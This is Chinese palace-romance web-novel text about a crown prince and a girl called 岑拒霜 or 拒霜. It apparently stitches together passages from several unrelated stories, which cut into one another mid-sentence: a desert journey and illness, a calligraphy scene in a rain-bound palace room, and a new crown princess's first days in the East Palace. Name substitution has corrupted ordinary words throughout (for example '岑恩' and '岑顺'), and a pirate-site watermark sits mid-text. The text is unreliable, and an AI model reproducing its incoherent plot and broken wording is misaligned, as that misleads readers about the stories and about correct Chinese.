离开沥城的那夜,她才向他允诺不会丢下他一个人,今时把她丢下的人变作了他,依着她的性子,指不定会对他生出什么别的想法来,以为他又捉弄她,气得撇开他回京了亦有可能。 七日看似很短,已足以生出很多变数。 太子扬鞭之时,蓦地察觉浑身传来撞击式的疼痛,还有皮肉擦伤的痛觉尖锐地刺进胳膊里。这样的疼痛对他而言,从来都是微乎其微,他以前甚至享受于疼痛带来的剧烈快感。 可当下这样的传感,让他愈发急迫起来。 她出事了? 第 69 章 回来 风沙难掩的土丘上,筑起的坟茔四四方方,远远眺着大熙边境内的连绵疆土。 许是时有百姓来此祭奠之故,周围杂草碎石被打理得干净,坟前香灰积了厚厚一层,堆满了各式各样的祭品。此间时辰偏晚,天气亦是恶劣,往来并无人烟,唯有一个素衣白裳的纤弱身影现于黄沙间。 流岚搀着一瘸一拐的岑拒霜步步走向阶梯高处,“姑娘,您才摔了一跤,且小心点。” 岑拒霜摆摆手以示无碍。今早本是定好过来祭拜父母的日子,但自周予安戳破她心思离去后,岑拒霜终日心不在焉,以致于出门之时都心绪不宁,绣鞋踩在一滚落的沙石上,直直往前栽了去。 流岚见状,急忙把她搀扶起来,又向她提议不如改日再来,岑拒霜一再坚持,拖着踉踉跄跄的步子,一步一步爬上了高台。 “把娘亲喜欢的桂子酒,还有爹爹爱吃的秋兰糕,都拿出来放置在这里吧。” 流岚将包袱里的祭品一一摆出,正欲挨个放置时,岑拒霜表示想要自己效劳,屏退了左右,让跟着的人都到了几步之外候着。 五年前这坟茔刚修好,她抱着墓碑怎么也不肯离去,哭着喊着她不要离开爹娘,要和爹娘住在一起。后来她哭累了,哭晕了过去,再有意识的时候,已经是被叔父带回祖籍地的路上。 太子的动作顿了顿,他已将岑拒霜放在了车厢的软椅上,闻及此,他抽出手,指腹点在了她柔软的唇瓣上,嘁了一声,“孤怎么从前没发现,你这张嘴这么会骗人?” “小没良心的,你先前还一副怨孤走了的模样,摆明了是不信任孤,现下又说着什么信任孤,孤可没那么容易上当。” 岑拒霜望着他,心口积满的酸楚无端涌了出来,被他按着的唇瓣不自觉地瘪成了一条线,眼底的水雾又再盈了出来。 她只是觉得委屈,她好不容易确认了自己的心意,他却真的像少时她弄丢的那个布娃娃一样,怎么也找不回来了。 她差点都不想要这个弄丢的布娃娃了。那宫婢小心翼翼起了身,退至一旁。 拒霜知道素筝姑姑还在外头候着,稍作梳妆,很快出了寝殿。 入宫前,哥哥姐姐与她交代了许多宫中之事。 像是对待贵人们身旁的心腹,不容小觑,若是得罪了,背后使绊子也够叫人受罪的。 素筝姑姑正端坐在角落,见着拒霜出来,连忙行礼:“老奴拜见太子妃。” 听说太子见到这位嬷嬷都要尊称一声姑姑,拒霜自也不敢在她面前摆谱,忙道:“姑姑不必多礼。” 素筝姑姑起身,一张圆圆脸庞挂着和善笑意,轻声道:“太子妃刚入宫,诸多事宜尚不熟悉,皇后娘娘放心不下,特让老奴来帮衬一二。” 拒霜闻言,暗暗松了一口气。 她还当素筝姑姑突然过来是有什么要事,原来是皇后派来帮忙的。 “有劳母后记挂,也有劳姑姑大热天跑这一趟。” 拒霜笑道:“正好我要去见六局的掌事们,姑姑随我一起吧。等见完他们,我请姑姑吃荔枝冰饮子。” 素筝姑姑一怔,再看眼前少女笑眸弯弯,心头也好似一阵凉风拂过般清爽。 她颔首:“太子妃客气了。” 待跟着拒霜一同去到外殿,东宫六局的管事们乌泱泱跪地请安时,素筝姑姑原以为这一派天真的小姑娘或许压不住宫里这群老油子。 没想到拒霜从问名、训话到放赏,一套恩威并施的流程下来,竟是有条不紊,大大方方挑不出半点错处。 素筝暗暗纳罕。 待到六局管事退下,素筝也准备告退,拒霜却热情无比,真拉着她请了一碗荔枝冰饮子。 直到回了永乐宫,素筝嘴里仿佛还残留着那甜丝丝的荔枝香,在皇后面前更是止不住地夸。 “我们可都小瞧太子妃了,她虽然年岁小,但规矩学得好,御下手段也不差。您派奴婢去给她压场面,奴婢半点劲儿没使,还白捞了一碗冰饮子呢。” 皇后搁下书册:“她倒是个内秀的,我白担心了。” “哪里是白担心,太子妃知道您惦记她,高兴得很,一个劲儿叫奴婢回来替她岑恩呢。” 素筝给皇后捏肩:“奴婢夸她接见宫人有模有样,她也不瞒着,说是来长安前,肃王妃教她管了一个月的家,还叫她操办了好几场筵席,这才有了些经验。” 皇后勾了勾唇,“看来临时抱佛脚也挺管用。” 素筝颔首:“可不是嘛,奴婢瞧太子妃是个聪颖的,便是不懂,教一教也都会了。” “瞧你这点出息,那小姑娘一碗冰饮子便把你给收买了。” 皇后说着,清丽眉眼间也晕着一丝不易察觉的笑意,不过那笑意很快又匿去:“你开始说,述儿出了慈宁宫,就撂下她去藏书阁了?” 提到这个,素筝笑意也微凝:“是。” 皇后蹙眉:“这孩子,小时候还不觉着,怎么长大了却……” 这皇家父子俩是两个极端,一个太重儿女情长,一个却是生性凉薄不问风月。 太子从未见过她这番模样。 从前打闹惯了,她着急的时候也会控制不住眼里的泪,可眼下她委屈得像个小花猫的样子,他只想把那眼尾的泪尽寸舔舐干净。 他是自愿上钩的。 就像以她为轴心的地方,无形间有根长长的丝线,线端那头紧紧勒着他的脖颈,无论她在何处,他都会不受控制地朝她所在的轴心折返。 “别哭了,孤给你亲。” 第 70 章 吻泪 摇摇晃晃起了路的马车行驶在大漠里。 车厢内,昏黄的天色照尽跟前人完美的轮廓线,忽明忽暗。 岑拒霜梨花带雨地看着俯下身来的太子,不知怎的眸中眼泪怎么也止不住,像是这些日郁郁寡欢的心绪有了突破口,尽数涌出,潸然的泪水打湿了整张脸庞。 她瞧见太子厚颜无耻地侧过了脸,将那光洁的脸颊递到了她唇边,仅离了几寸的距离,颇有几分邀功请赏的意味。 岑拒霜恼声说着:“谁、谁说要亲你了……” 她的气还没消呢,怎么又便宜他? “不亲孤?”裴述虽在漠北镇守三年,成了赫赫有名的武将,但他的书法乃名家亲授,外加他天资过人,悟性极高,书法自成一派,自小便得到太学院诸多大儒的赞赏。 因此虽然他不专攻书法,但其功底并不弱。 窄小的房间,雕花的木门紧闭,唯有岑拒霜一侧的窗户半开着,不断涌动的风夹带着些许碎雨,吹起岑拒霜轻柔飘逸的裙摆,并时不时沾到书案上。 初夏时节,院子里绿意盎然,疏于打理的树枝四处蔓延,有几枝甚至探到了窗边上,在末端开出一朵洁白而朴素的小花。 岑拒霜肌肤雪莹,但脸颊处却像是抹了胭脂一般嫣红,长而密的睫毛微垂,盖住了紫灰色的瞳仁。 细手执笔,亭亭玉立。她于窗台洗笔,这场景自成一幅画,比裴述所见的任何一副仕女图都美。 然而,裴述却无心欣赏这道美景。 自他让岑拒霜去写字之后,就没有挪动过脚步,静静地站在那里。只是,他眼底沉沉,目光从没离开过岑拒霜。 在裴述的注视之下,岑拒霜心跳如雷,脸上烧红,竟觉得有些晕晕乎乎。雨天湿滑,笔杆又十分细长,她甚至有些拿不住笔。 他的目光犹如实质的火焰,每一道视线落到岑拒霜的身上,她都觉得那处被火烧过似的,让她浑身不自在。 这样,可不行! 岑拒霜暗暗咬了咬嘴唇,让自己忽略浑身的异样,聚起心神。 她虽没什么别的本事,但一手字是在徐夫子悉心教导下勤学苦练才有所小成。虽说不能如裴述一般让人惊艳到拍案叫绝的地步,但也自成风骨。 这一手字,是她为数不多的能拿得出手的东西了,她绝对不能在这里掉链子,让裴述觉得她朽木不可雕。 岑拒霜深吸一口气,提起半口气沉在丹田,泛着水光的双眼看着泛着微黄的宣纸。缓缓吐气,右手执笔,让笔尖舔满墨汁,左手微微挡住过长的衣摆。 《灵飞经》,她已写了不下百遍,每一个字、每一个偏旁,每一道笔锋,她都了然于心。 她有十足的信心!雷雨轰鸣,天色越发晦暗不明,乌黑浓稠如墨染般的乌云紧紧地压着屋檐,大雨淅淅沥沥。 显然,这并不是一场及时就能停下的雨。 隔着帷帐,岑拒霜听见裴述回避的关门声,支撑着她站着的力气瞬间没了,她浑身泄力,倏地一下跌坐在身后的床上,深吸了一口气。 若不是裴述,她本不必强撑着身体站起身的。 湿透的薄纱裙紧紧地贴在伤口处,岑拒霜小心翼翼地撩起裙摆,眉头深深地皱起。 即使是如此昏暗的光线下,膝盖处的伤口却依旧红肿得吓人,柳叶儿为她固定的竹简已不知道掉到了哪里。 然而此时,已不是担心腿上伤口的时候。 虽不知道裴述为何要在这个时候突然到落月宫来,但现在她必须托住裴述,绝不能让裴述和裴玄铭见面。 岑拒霜忍着疼,脱下薄衫,用薄透的腰带紧紧缠绕着关节处,嫩黄色的腰带有些长了,岑拒霜便把其余的部分缠绕在小腿上,在脚踝处系了一个精致的小蝴蝶。 待处理好伤口后,她才让宫女进内间帮她换衣服。 岑拒霜本以为落月宫只有宫女的衣服了,没想到送来的这件衣服却十分有质感,若是今天没有下雨,这一袭翠绿罗裙正适合现在这样初夏时光。 岑拒霜不禁有些奇怪。 自瑶妃逝世后,落月宫多年来都未有宫主了,怎么会有如此好的衣服? “这是瑶妃娘娘当年留下来的。”小宫女听岑拒霜问起,她刚刚被裴述眼神警告,不敢再乱说话,只是简单含糊道:“一直也没人穿过。” 瑶妃留下来的? 岑拒霜更惊讶了,瑶妃离世已有好几年了,一件衣物怎么能保存得如同新的一样?她低头细细查看了袖口上的纹路,明显不是几年前的陈旧针脚。 还未容岑拒霜多想,门外响起一声敲门声。 这声音听似悠悠,却暗含了几分急躁。 裴述:“岑妹妹。” 岑拒霜心神一紧,生怕让裴述久等,她赶紧应声回道:“好了,太子表哥稍等。” 房门打开,一个太监端着一碟笔墨纸砚麻利地进了门,轻手轻脚地将东西放在桌案上。 裴述双手负于身后,点头让所有人都出去。 “把门带上。”裴述冷淡地吩咐。 太监意外地顿了一顿,纵使刚刚他一直低着头,却也从余光中瞥到了岑拒霜那惊人的美貌。如此狂风暴雨的天气,孤男寡女共处一室,很难说会发生些什么。 虽说裴述一向不喜女人靠近,但那些人,却也没有一个比得上岑拒霜。 然而尊卑有别,他虽心里嘀咕,也只能奉命关上门。 这间房以前就是个旁间而已,本就不大,如今门一关,听着外面雨声霖霖,看着不远处站着的裴述,岑拒霜忽然觉得这房子越发狭小。 甚至,连呼吸都有几分急促。 裴述心里盘算着如何才能让戳破岑拒霜的假象,然而不经意一个眼神和岑拒霜对上,他忽地就定住了。 仿佛石化了。 岑拒霜站在帷幛内,莫名古怪的气氛,让她不自觉多了几分紧张,不敢轻易上前,她低着头不禁想:为什么要关门? 想着想着,她忽然想起刚刚在落月宫外,裴述在雨中脸色苍白,一副身体有恙的模样,她心里那些旖旎瞬间烟消云散,反倒生了几分担忧。 她偷偷瞥向裴述,果然见他神色不太对,浅色嘴唇紧紧闭住,乌黑色的眸子冷淡而有几分恍惚。 岑拒霜知道,裴述身为储君,连生一场小病都会惊动整个太医院,然而离奇的是,她却从未听过裴述的东宫传过太医。 而且是自她进宫起,裴述从未生过病。 然而她也知道,人非钢铁之躯,怎么能无病无灾?怕只是裴述有了病,怕惹人注目,有了病也强忍着罢了。 虽是金贵之躯,但依旧身不由己,岑拒霜抿了抿嘴唇,关心的话回荡在嘴边,却怎么也不敢说出口。 见裴述不来,岑拒霜便忍着疼,一步一步缓缓向裴述的方向走去,直到站到裴述的身边,看着裴述蹙起的眉头和惊异的眼神,岑拒霜越发担心: “太子表哥,您怎么了?岑拒霜——” 裴述看着她的紫灰色的瞳孔,强行压下心里的震惊,隐在袖中的手忍住不颤抖。 太像了,怎么会这么像! 刚刚岑拒霜一身碧波荡漾绿萝裙站在暗处,恍惚之间,他仿佛看到了当年的那个身影。 只是,那人的眼神,绝不像岑拒霜这般岑顺和懵懂,似是被圈养的羔羊,一无所知的样子。 裴述见着她无辜而纯净的眼神,心里莫名生出一股戾气,他厌恶地看了眼身前袅袅娉婷的岑拒霜,冷声道:“我没事。” “哦,”如此生硬的打断,岑拒霜语气和神色不免有几分失落,低着头一时不知道怎么办。 裴述比她高上不少,只看得见她毛茸茸的头发和额前的小绒毛,裴述甚至觉得,连她的每一根发丝,都透露着岑顺。 不禁想让人,上手去抚一抚。 如此乖顺的、任人可欺的模样,更加让裴述焦躁。 他心里暗道:果然,这女子不能久留,迟早是个祸害! “既然之前岑妹妹说想请教书法,而孤正好现在被困这里也无事可做,那就先请妹妹先写一帖。” 岑拒霜闻言,只好乖顺地照他的话做。 裴述目色沉沉,心里盘算着自己曾给赫连珏写的那封信,众人皆以为是赫连珏自己要求岑拒霜去和亲,却不知是他一早就给赫连珏了提议。 裴述定定地看着在窗边洗笔蘸墨的岑拒霜,如果事情顺利,几个月之后,岑拒霜就会彻底消失在大周。 消失在,他的世界里。 也会,彻底消失在“他”的世界里! 然而,当笔尖吻上薄纸的那一刻,岑拒霜却懵了。 墨水浓厚过甚,字不成形。只写了一个字,她就写不下去了。 书法讲究整体,一字毁,全篇毁,尤其还是第一个字。 岑拒霜从没遇到过这种情况,只觉脑中轰然一响,她下意识看向一旁的裴述,在接触到裴述的眼神后,又仿佛被针扎一半别开眼。 岑拒霜用的东西,都是皇宫中最上等的,她自然不用操心笔墨纸砚这些东西的好坏,甚至连稍微次一等的东西,都到不了她的眼前。 因此一瞬间,她都没察觉是墨水的原因,直接呆住了。 裴述时刻注意着岑拒霜的动作,见她脸色一变,心中悄然升起一股恶趣味,他闲庭信步地上前,仿若关心的模样,悠悠道:“岑妹妹,可是有什么难处?” 岑拒霜惊慌地抬头,见裴述向她走来,吓得一把将桌案上的宣纸揉成一团。然而揉成一团之后,她又十分懊悔。 这番动作,未免也太刻意了些。 “没什么,”岑拒霜强行镇定自若,然而低着头却难掩浑身的底气不足,“刚刚我见纸上面有一只虫子,吓了一跳,赶紧将虫子包起来。” 岑拒霜心里慌得没底,如今裴述在她跟前,她也没办法找到字毁的原因,只能绞尽脑汁地让裴述离开。 她捏紧手上的笔,微微抬头,强行掩盖自己的不安和恐慌,让自己的眼神看起来稀松平常:“太子表哥身上衣物潮湿,还是不要站在窗口上吹风,先去那边坐一会儿吧。” “待岑拒霜写完后,再拿给太子表哥。” 看着岑拒霜可霜巴巴地睁眼说瞎话,裴述心里一阵舒爽,觉得总算是打击了岑拒霜之前在他身上为非作歹的嚣张气焰。 岑拒霜想让他离开,他如何听不出来她的意思? 然而他等的便是这一刻,怎么让她如意? “无妨,我身体无碍。”裴述装作浑然未觉的模样,颇为贴心地为岑拒霜再铺上一张纸,“只是可惜了妹妹刚刚的字,幸好这里的宣纸还不少。” “妹妹只管写,若是再有虫子,我帮妹妹赶走它。” “况且岑妹妹刚刚说要请教书法,那我看着妹妹写,倒是能一眼看出问题,省了不少功夫。” 裴述缓缓地用镇纸玉石将泛黄的宣纸熨平,似笑非笑地看着岑拒霜,道:“岑妹妹,你说呢?” 岑拒霜脸色煞白,如遭雷劈。 裴述的声音在她的头响起,她不敢抬头,只能低头凝视着新的宣纸,一瞬间,觉得手中的狼毫重达千斤。 她想不明白。 这个动作,她做了不下千次;这些字,她写了不下万次,可没有一次是刚刚那个样子的! 而裴述也一反常态,以往她和他连话都说不上几句,就被他请出了东宫,但如今他却赶都赶不走,竟还要看着她写字! 一想到今天可能会在裴述面前出丑,甚至还是在自己最拿手的一方面,岑拒霜忽然就觉得鼻子开始酸起来。 明明……明明不是这样的,可今天怎么会这样…… 裴述不喜欢爱哭的姑娘,岑拒霜不敢在他面前掉眼泪,即使眼圈绯红,却只能努力憋住。 而裴述心里出了这口气,心里的戾气散了不少。他为岑拒霜铺开宣纸后,低头注视着岑拒霜,等着欣赏她再次变脸。 可等了许久,也不见岑拒霜动笔。 只见她低着头,瘦削的肩膀耷拉着,从裴述的角度看下去,只能见着她樱红却颤抖的嘴唇,以及她浑身散发着沮丧的气息。 外面风雨大作,风向几经变换,忽地一阵大风涌起,越过窗台直直地往屋子里灌。 风中带雨,打在手背上莫名寒凉。 窗台位于岑拒霜的一侧,裴述站在书案前,只能向前倾身才能关上窗。 宣纸就这么多,绝不能让雨打湿了,否则岑拒霜就有了不写字的借口! 裴述很喜欢刚刚岑拒霜脸上的惊慌失措和无助,这些少见的情绪,让她那张美艳绝伦的脸上,终于有了些许生机。 他抬手关窗,然而就在他倾身而过的瞬间,仿佛听到了几声微不可查的哽咽。 这声音十分微弱,若不是室内静可闻针,而他又正好靠近岑拒霜,绝不可能会注意到。 裴述恍惚一瞬,心里莫名多了几分异样。 她竟哭了? 岑拒霜数着日子,算着盼着,回程所需的一个月过了半。 马车一路南下,按理说应是越来越暖和才对,她却觉身子一日比一日冷,一日比一日提不起力气,连着食欲也寥寥,甚至连药也喝不下。 起初她还偶尔搭着太子的话,到后来整个人陷入了昏昏沉沉里,每日清醒的时间越来越少,难受的感官爬满了浑身百骸,除了咳嗽几声,话也说不出来了。 她约莫是病了。 颠簸的车厢晃得她头昏脑涨,她能察觉那熟悉的龙涎香气息始终萦绕在身边,没有离开过,但是她连睁开眼皮的力气也没有。 不知过了多久,身下的软垫还算舒适,她应当是下了马车,不在那车厢上了。 一团糨糊的脑袋里,她好像听见了流岚在哭,又好像听见有个老伯的声音在旁边说什么。 “姑娘这身子本就差……旧疾反复,怕是坚持到京城都难。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 70-76 第 71 章 回京 东宫。 已是入夜,月上柳梢,往来踏过寝殿门槛的步伐匆匆,撷过阵阵浓郁的药味。 陈御医焦头烂额地来回踱步之际,瞧见太子入了内,他紧忙叩首回禀:“殿下,岑姑娘的情况……不容乐观。寒风入体,引发旧疾反复,加之近日入了冬,天气无常,无疑是雪上加霜。微臣正带着太医院众同僚在尽力救治,相信岑姑娘吉人自有天相,若是能熬过这一难关……” 太子没等他将话说完,“孤不要假设,孤要她定能熬过。” 陈御医无声叹了口气,再一拜首,“微臣这就去煎药,还得请殿下费心,喂岑姑娘用药了。” 太子折身步入寝殿里屋,抬手撩起重重落下的鲛绡,各色宝石缀满的金榻上,岑拒霜安安静静地躺在锦衾间,幽幽轮转的珠灯照着那惨白无血的面庞,她像是一樽一动不动的琉璃,一座碰不得摸不得的玉石,脆弱易碎。 自沥城回京的途中,岑拒霜一病不起,用了多少药也不管用,到后面更是一滴药也喂不进去,喝多少便吐多少,眼见她日益消瘦憔悴,身子骨一日比一日差,太子连夜不休地将她带回了东宫,召来太医院一众为之诊治。 陈御医彻夜为岑拒霜施针稳住了病情,但依旧沉疴难愈,危在旦夕。 太子出神地看着她良久,忽觉那乌青的嘴唇动了动。 尽管拒霜告诉自己,一个人没什么大不了的,她已经是个及笄的大姑娘了。 但独自逛东宫时,还是兴致缺缺,无精打采。 她向来喜怒全形于色,一点心思都在脸上,从前并不觉得有何不妥,因她本就是陇西岑氏最尊贵的小娘子,旁人都要以她的脸色行事。 如今到了宫里,采雁和采月互相推搡一番,最后还是由采月低低提醒:“娘子,您现下是太子妃了,可不能瘪嘴,没得被人背后嚼舌根呢。” 拒霜蹙眉:“我瘪嘴了么?” 采月讪讪:“嗯呢……” 拒霜抬手摸了摸,好吧,的确撅得可以挂毛笔了。 但她郁闷嘛!她长这么大,还没被人这般冷落过。 采月和采雁也知自家娘子受委屈了,忙凑上前与她说些开心的。 “拒早回门,娘子又能见到世子和大娘子了。” “是啊是啊,所以您好好跟着福庆公公逛逛,待下回世子和大娘子入宫,您也可以领着他们到处逛一逛呀。” 一提到哥哥姐姐,拒霜心情果然变好,那点郁闷也抛到脑后,随着福庆悠哉悠哉逛起了东宫。 东宫地处皇城东侧,主殿为太子的紫霄殿,西侧为太子妃妾居住之所,其中当属拒霜现居的瑶光殿最大。东侧则为东宫各处行政机构,譬如詹事府、东宫三寺、左春坊、右春坊等。 拒霜作为内宫女眷,福庆只带她逛了紫霄殿和东宫西侧,并未踏足东侧。 饶是这般,乘轿加步行,也逛了足足一个时辰。 及至正午,烈日当空,拒霜热得香汗淋漓,一回到瑶光殿,就脱了外衫,直奔殿内的冰盆。 采月和采雁谨记着大娘子拒娓的叮嘱,连忙将她从冰盆旁拉起,嘴上嚷着:“娘子莫要贪凉,仔细着风寒。” 凑到耳边则是道:“祖宗您可别忘了规矩,这儿是东宫,不是咱们王府呢。” 东宫东宫东宫,规矩规矩规矩。 她耳朵都要起茧子了! 拒霜托着一张粉腻酥润的小脸,坐在榻边闷闷不语。 采月采雁小心唤道:“娘子?” 拒霜看着这唯二的熟悉脸庞,唇瓣动了动,险些脱口“这个太子妃我反悔不当了行吗?”。 话到嘴边,她自己都知道这是句傻话,干巴巴地咽了回去。 嫁都嫁来了,总不能第一日就撂挑子不干了。 岑家女儿,岂能轻易言败? 思及此处,她握紧拳头,“嗯,我可以的!” 这突如其来的亢奋,叫采月采雁吓了一跳。两婢面面相觑,娘子莫不是热糊涂了吧? 拒霜却道:“午后六局的管事不是要来给我请安么?现下传膳吧,我吃饱了睡一觉,也好养足精神会会他们。” 虽然不知自家娘子怎么突然振奋起来了,但见她不再无精打采,采月采雁自也乐见,忙不迭下去传膳了。 岑拒霜知陈御医不愿意告诉自己真实答案,便也不再勉强多问。 临了陈御医走前,又写了方子递给尤珠,他苦口婆心地对岑拒霜说,“姑娘,思虑多了亦是伤身。眼下您什么都不用想,只管安心养病便是,外面就算天塌下来了,也有太子殿下顶着,您还在担心什么呢?” 岑拒霜咬着下唇,“有劳陈御医关心,我……会好好养身体的。” 陈御医深深看了她一眼,暗暗摇了摇头,他亦是在宫里资历最为年长的御医,如何看不出岑拒霜压根听不进去他的话呢?这宫里头啊,最是心疾难医。 太子听闻寝殿的消息后,当即赶了过来。 “怎么好端端的又吐血了?” “陈御医说,姑娘此前去沥城祭拜父母后一直愁思不解,久而久之生了淤血。这淤血吐出来了反而是好事。”尤珠见太子来了,便拿着方子去膳房,留给二人独处的空间。 岑拒霜不敢抬眼看太子。 太子依旧在旁说着,“小没良心的,孤不过走了这么点时辰,你便又让孤回来了。” 听着他的嗓音,岑拒霜只觉心脏如被一只手狠狠捏住,揪心的疼。手里的同心佩硌着每寸纹路,她深吸了一口气,用尽浑身的力气抬起胳膊,在太子的目光里,她举着同心佩摔在了地上。 “咣当——” 玉质的同心佩被摔成几块,碎裂的玉痕爬满莹白的表面,迸落的碎渣四处皆是。 “我不要你的同心佩。我也嫌这玉佩吵,更嫌你日日守着烦。” 岑拒霜低头说着,努力憋着眼泪不让他发觉。 太子的嗓音听着极为生寒,“你的意思是,你不要孤?” 第 72 章 照顾 太子走了。 彼时那声带着寒意的质问落在耳畔,如同被惹怒的野兽张开了獠牙,森森的利齿贴在了她的脖颈,却没有咬下口,只是声声问着她—— 她不要他了是么? 岑拒霜没有作答,这样无声的回答等同于默认。 而想象中他勃然大怒或是下口咬断自己脖颈的情形,都没有发生。 岑拒霜望着太子渐渐离去的身形,明黄的蟒袍染着浓重的夜色,挺直的背影孤高而决绝。须臾间,她觉着呼吸之时五脏六腑都在隐隐发着疼,不知是她在疼痛,还是他的。 长痛不如短痛。还在感叹儿子儿媳天仙配的永熙帝冷不丁收到自家皇后的冷眼,疑惑:“怎么了?” 皇后垂眸:“时辰不早了,陛下也该上朝了。” 说着和许太后行了个礼,转身离开。 行至宫道,远远看着那一前一后的两架轿辇,皇后吩咐身侧宫人:“素筝,待会儿你去趟东宫,帮着太子妃打点一二,若她有何不懂的,你也教一教。” 素筝嬷嬷笑道:“看来您挺喜欢太子妃的呢。” 皇后道:“喜不喜欢,也是我家儿媳了,我这做长辈的,能帮的地方就多帮着些。只感情这事,旁人不好插手,只看她自己的造化了。” “您别急,感情都是处出来的。”刘丞相暗自思量太子之论,未再开口。 其余几位老臣则面露赞许,“太子殿下所言极是,水至清则无鱼,治贪之道,在于平衡与制约,不可偏废。” 永熙帝看了自家儿子一眼,面露嘉许。 到底是亲父子,心连心,与他所想一样。 “既然诸位爱卿皆赞成太子所言,则当即刻着手,整饬御史台之务。”永熙帝轻敲桌面,扯唇:“这些年那群老东西的确太安逸了……不过此事棘手,诸位觉着该派谁去办?” 刘丞相道:“陛下,御史台为君王之耳目,又为百官之镜鉴,如此重要,自然要让陛下最为信赖之人去办。” 话落,裴述起身挹礼:“儿臣愿领此差。” 永熙帝眉梢轻挑:“吴良辅一案便是你一手督办,而今好不容易结案,你也不打算歇一歇?”正好多陪陪那娇滴滴的新妇。 裴述却是神色坚定,言辞恳切:“为父皇分忧解难,乃儿臣身为储君之责。御史台整顿之事,关乎朝廷清正,国家安宁,儿臣岂敢有丝毫懈怠?” 永熙帝一看这架势,便知太子定然又想在御史台大刀阔斧整顿一番。 也罢。 年轻人有冲劲,他也喜闻乐见:“那这差事便交于你,这几日你写个章程,呈上来给朕看看。” 裴述应道:“儿臣遵命。” 议政结束,官员退下。 永熙帝批了几本军务,抬头看了眼外头天色:“今儿个天气不错,听说太液池的荷花开了好些,待批完折子,你带你新妇去划划船赏赏荷?” 裴述拿着朱笔的手一顿,抬眼道:“父皇有雅兴,带母后去便是,儿臣晚些还得写御史台改制的策论。” 永熙帝道:“改制并非一朝一夕可成,你晚两日也不妨事。” 裴述:“早一日改了,那些吃空饷不干事的蠹虫也能早一日下台,省下的银钱或能给穷苦百姓多一碗米粮,边疆的将士能多一把兵器……” “好了,别念了。”永熙帝摆手:“反正这事交给你办了,你自个儿折腾去。” 说着,他撂下笔,“你忙吧,朕歇着了。” 裴述起身恭送,永熙帝经过他桌前,脚步却是停下,一双凤眸透着打量。 裴述疑惑:“父皇还有何吩咐?” 永熙帝瞥过裴述眼下那淡淡的薄青,似有所悟,又不确定。 “勤政虽好,却也要注意自个儿的身体。”夜阑人静,月出星隐。 瑶光殿的廊庑外,值夜的采月难掩激动,只恨不得将偏房里的采雁摇醒,共享喜讯。 只是当殿内再次响起那压抑着的呜咽,采月心头的激动也变成担忧。 有意凑到门边听一听,余光瞥见福庆揣着手看来,立马讪讪直起腰:“这……怎的还没叫水?不然公公催一催?” 福庆哎哟一声:“采月姑娘这说的什么话,主子们在里头办正事,咱们做奴才的便是吃了熊心豹子胆也不敢催啊。” 采月道:“可这都丑时了……” 太子殿下戌时来的瑶光殿,一晃眼已经过去三个时辰。 那可是整整三个时辰啊。 她耳听得自家小娘子的啜泣落了又起,起了又落,算上现下这回,已是第三回? 采月虽是在室女,却也知晓女子初次会疼,娘子自小娇养着,一身细皮嫩肉稍微用些力都会摁出个红印子,而今第一夜,却遇上个不知怜香惜玉的郎君,这么晚了竟还在折腾! “采月姑娘且宽心,殿下虽瞧着面冷,却不是那等粗鲁莽汉。” 福庆安抚着:“咱家知晓你心疼太子妃,但你也往好处想想,太子与太子妃鱼水和谐,可是夫妇恩爱的好事呢。” 采月干笑两声:“是,公公说的是。” 再听殿内那隐隐约约的动静,也只盼着太子能温柔些。 又过了半个时辰,殿内终于传来唤水声。 采月松口气,忙不迭招呼宫人抬热水。 本以为还能看一眼自家娘子的情况,屏风后却传来太子倦懒沉哑的嗓音:“都退下。” 宫人们垂着脑袋,纷纷退下。 采月出门前偷瞄了眼,只瞧见屏风上透着两道影儿。 太子似是抱着自家娘子,衣衫凌乱堆在腰间。 娘子那头长发如云逶逶垂下,牡丹锦屏后隐约露出一截如酥白腻的肩膀,莹润盈盈…… 嗐,莫说气血方刚的太子殿下了,便是她这女子瞧着都脸红呢。 永熙帝语重心长拍了拍儿子的肩,便背着手往外走去。 裴述望着皇帝离去的背影,长指轻抚过眼下,沉默片刻,重新掀袍坐下。 一出紫宸殿,永熙帝便吩咐太监总管刘进忠:“去东宫打听下,太子昨夜可是又苦读到深夜?” 待御辇到了永乐宫没多久,刘进忠就抱着拂尘回来,在永熙帝耳边低低禀报。 永熙帝眉目舒展,抚掌道:“难怪呢。” 皇后正在合香,听到这动静,不禁抬眼:“怎么了?” 永熙帝挥退宫人,走到皇后身旁,将东宫昨夜之事说了。 末了,笑道:“到底是年轻,折腾到丑时,卯时竟还能起来锻炼……” 皇后闻言,神色有些恍惚。 永熙帝拉着她:“怎么,羡慕年轻人了?虽说和年轻时是比不了,但一夜三次也不是不……” 皇后嗔他一眼:“都这把年纪了,你消停点。” “那你方才在想什么?还皱眉。” “没什么……” 皇后垂了垂眼睫,心底不禁担心,太子是否见她催了,这才完成任务般当夜就成了礼。 若真是这般,岑家小娘子知道实情,得有多伤心? 思及此处,她撂下香勺,起身朝外。 永熙帝诧异,“阿妩,你去哪?” 皇后头也不回:“你自歇着吧,我去私库转转,挑些东西送给儿媳妇。” 素筝嬷嬷扶着皇后上了肩舆:“何况太子妃生得玉雪可爱,奴婢瞧着都心生爱怜,遑论太子正是血气方刚的年纪呢。” 皇后扯了扯嘴角,“但愿吧。” 灿烂的盛夏日头渐渐爬过重重宫阙,天空瓦蓝如画。 拒霜坐在轿辇上,看着身后手捧礼品的长长一溜儿宫人,脸上是掩不住的兴奋。 “长辈们实在太大方了。” 她喜滋滋道:“不过请了个安,就赏赐了这么多东西。” 采月笑道:“这说拒尊长们爱重您呢。” 拒霜小脸微红,却是半点不谦虚:“我也觉着他们喜欢我。你是没瞧见,太后和陛下就和自家长辈一样,慈蔼极了,说话都笑眯眯的。” 一开始她还有些紧张,但人与人的善意极具感染力,她不知不觉也放松下来。 就目前来说,她觉得这门婚事还算不错。 太后慈蔼,公爹和善,婆母虽然话不多,但也没有为难她。 唯一美中不足的,大概是她那位太子夫君了。 许是不能背后说人,她正腹诽,前头肩舆的男人冷不丁回过头。 四目相对,拒霜一怔,而后心虚避开眼。 “停。” 前方传来男人低沉的嗓音。 拒霜看去,便见太子下了肩舆,径直走来。 她霎时正襟危坐,“殿、殿下?” 朱袍玉带的年轻郎君在她身侧站定,垂眸道:“孤要去藏书馆找两本书,待会儿福庆会带你逛东宫,中午也不必等孤用膳,你自行安排便是。” “啊?可是……” 拒霜唇瓣微张,触及男人那双沉静如潭的凤眸,终是咬了咬唇:“哦,知道了。” 眼见那道朱色身影重新坐上肩舆,消失在下一个转弯,拒霜纤薄的双肩不禁垮下。 